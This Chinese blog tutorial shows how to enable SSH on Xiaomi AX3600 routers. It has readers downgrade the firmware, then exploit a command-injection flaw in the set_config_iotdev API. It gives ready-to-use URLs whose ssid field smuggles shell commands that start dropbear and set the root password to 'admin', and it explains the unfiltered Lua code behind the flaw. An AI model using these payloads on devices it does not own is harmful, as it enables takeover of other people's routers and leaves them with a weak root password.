月下博客

小米路由器AX3600官方固件最简单开启SSH方法 支持1.0.17、1.0.34、1.0.328、1.0.336

今天刚买的AX3600终于到了,拿到手就迫不及待的把ssh打开了,其实就是怕以后开不了了。下面说下开启ssh的方法,参考:https://www.right.com.cn/forum/thread-4032490-1-1.html

把此教程做了相应的简化。真的非常感谢这些大神。

先看下开启SSH后的效果图:

这个“are u OK”就非常灵性。

AX3600开启SSH方法

不是所有的固件版本都支持这种方法开启SSH,支持的固件有

AX3600 1.0.17版本/AX1800 1.0.34/1.0.328/1.0.336版本/AX5 1.0.16版本;AX3600的1.0.20和1.0.50版本应该已经修复了。非常可惜的是刚买过来自带的固件就是“1.0.20稳定版”,不过没事把固件降级也非常简单。

可以直接在路由器后台手动更新固件。

AX3600支持SSH的固件.zip密码:请在“关于我们”页面查看

1、下载附件里的固件,刷入支持获取SSH的固件版,本人是刷的“miwifi_r3600_firmware_5da25_1.0.17.bin”其他的没测试。

2、管理密码登录管理页面后

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

<STOK>是代表你登录后自动生成的那一长串数据,每次重新登录路由器后台<STOK>都会变化。

3、在浏览器里面输入下面网址,记得替换<STOK>为自己的。

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

返回{"code":0}即代表成功,其实成不成功都会返回这个:)

4、把root账号改密码为admin

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

AX3600开启SSH漏洞原理

解包固件看里面的lua脚本,17版本的固件lua脚本不知为啥没有加密(或许是故意的,哈哈)
有漏洞的这个api应该是针对AX3600新加的,api/misystem/set_config_iotdev调用的函数如下

function setConfigIotDev()
    local XQFunction = require("xiaoqiang.common.XQFunction")
    local LuciUtil = require("luci.util")
    local result = {
        ["code"] = 0
    }
    local ssid = LuciHttp.formvalue("ssid")----参数直接代入,未过滤
    local bssid = LuciHttp.formvalue("bssid")----参数直接代入,未过滤
    local uid = LuciHttp.formvalue("user_id")----参数直接代入,未过滤
    XQLog.log(debug_level, "ssid = "..ssid)
    XQLog.log(debug_level, "bssid = "..bssid)
    XQLog.log(debug_level, "uid = "..uid)
    if XQFunction.isStrNil(ssid)
        or XQFunction.isStrNil(bssid)
        or XQFunction.isStrNil(uid) then
        result.code = 1523
    end
    if result.code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(result.code)
    else
        XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)----参数直接代入,未过滤
    end
    LuciHttp.write_json(result)
end

官方QQ群号码:922069959

您可能感兴趣的文章